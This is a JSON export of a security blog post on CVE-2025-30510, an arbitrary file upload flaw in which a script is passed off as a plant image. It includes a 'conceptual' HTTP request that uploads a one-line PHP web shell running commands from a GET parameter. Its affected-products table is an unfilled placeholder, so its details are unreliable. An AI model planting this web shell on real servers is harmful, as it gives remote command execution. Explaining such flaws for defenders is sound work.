{"id":29341,"date":"2025-04-22T23:48:06","date_gmt":"2025-04-22T23:48:06","guid":{"rendered":""},"modified":"2025-07-10T17:20:09","modified_gmt":"2025-07-10T23:20:09","slug":"cve-2025-30510-arbitrary-file-upload-vulnerability","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-30510-arbitrary-file-upload-vulnerability\/","title":{"rendered":"<strong>CVE-2025-30510: Arbitrary File Upload Vulnerability<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The vulnerability CVE-2025-30510 poses a significant threat to systems and data security. It allows an attacker to upload an arbitrary file in place of a plant image, leading to potential system compromise or data leakage. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-52307-high-severity-stack-overflow-vulnerability-in-paddlepaddle-prior-to-version-2-6-0\/\"  data-wpil-monitor-id=\"33963\">vulnerability is of high consequence considering its CVSS severity<\/a> score of 9.8, marking it as a critical threat. Any organization or system utilizing the affected software might find themselves at risk of exploitation, leading to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-5881-unauthorized-access-vulnerability-in-the-genie-company-aladdin-connect\/\"  data-wpil-monitor-id=\"34014\">unauthorized access<\/a>, disruption of services, or potential data breaches.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-30510<br \/>\nSeverity: Critical (9.8)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-50350-broken-cryptographic-algorithm-leads-to-potential-data-leakage-in-hcl-dryice-myxalytics\/\"  data-wpil-monitor-id=\"33700\">Potential system compromise or data leakage<\/a><\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-597579543\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Example Product 1 | Version 2.0 &#8211; 2.5<br \/>\nExample Product 2 | Version 3.0 &#8211; 3.8<br \/>\n*Note: The above <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-31059-sql-injection-vulnerability-in-wbw-product-table-pro\/\"  data-wpil-monitor-id=\"60216\">table is a placeholder and requires actual product<\/a> data.*<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-45724-unauthenticated-file-upload-vulnerability-in-hcl-dryice-myxalytics\/\"  data-wpil-monitor-id=\"33981\">vulnerability lies in the insufficient validation of the uploaded files<\/a>. The affected software permits the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-13744-arbitrary-file-upload-vulnerability-in-booster-for-woocommerce-wordpress-plugin\/\"  data-wpil-monitor-id=\"34577\">upload of a file<\/a> under the guise of a plant image. An attacker, with knowledge of this loophole, can exploit it by uploading an <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-6220-piotnet-forms-plugin-vulnerability-in-wordpress-allows-arbitrary-file-uploads\/\"  data-wpil-monitor-id=\"34530\">arbitrary file<\/a>, such as a script or executable, that can compromise the system. The system, treating the file as a harmless image, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-48243-critical-remote-code-execution-vulnerability-allowing-unauthorized-file-upload\/\"  data-wpil-monitor-id=\"34130\">executes or processes the malicious file<\/a>, giving the attacker the opportunity to compromise the system or leak data.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-92986408\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here&#8217;s a conceptual example of how the vulnerability might be exploited using an HTTP POST request to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2007-wordpress-plugin-vulnerability-leads-to-arbitrary-file-deletion-and-potential-system-compromise\/\"  data-wpil-monitor-id=\"34601\">upload<\/a> a malicious file:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/upload\/plantimage HTTP\/1.1\nHost: target.example.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;malicious_script.php&quot;\nContent-Type: application\/php\n&lt;?php echo shell_exec($_GET[&#039;cmd&#039;]); ?&gt;\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n<p>In this example, a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52207-critical-php-script-upload-vulnerability-in-mikopbx\/\"  data-wpil-monitor-id=\"65502\">PHP script is uploaded<\/a> as &#8216;malicious_script.php. The script <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-28137-critical-pre-auth-remote-command-execution-vulnerability-in-totolink-a810r\/\"  data-wpil-monitor-id=\"34769\">executes a shell command<\/a> passed through the &#8216;cmd&#8217; GET parameter, allowing an attacker to carry out arbitrary commands on the server.<br \/>\n<small>Note: This is a conceptual example for illustrative purposes and does not represent an actual exploit.<\/small><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The vulnerability CVE-2025-30510 poses a significant threat to systems and data security. It allows an attacker to upload an arbitrary file in place of a plant image, leading to potential system compromise or data leakage. This vulnerability is of high consequence considering its CVSS severity score of 9.8, marking it as a critical threat. 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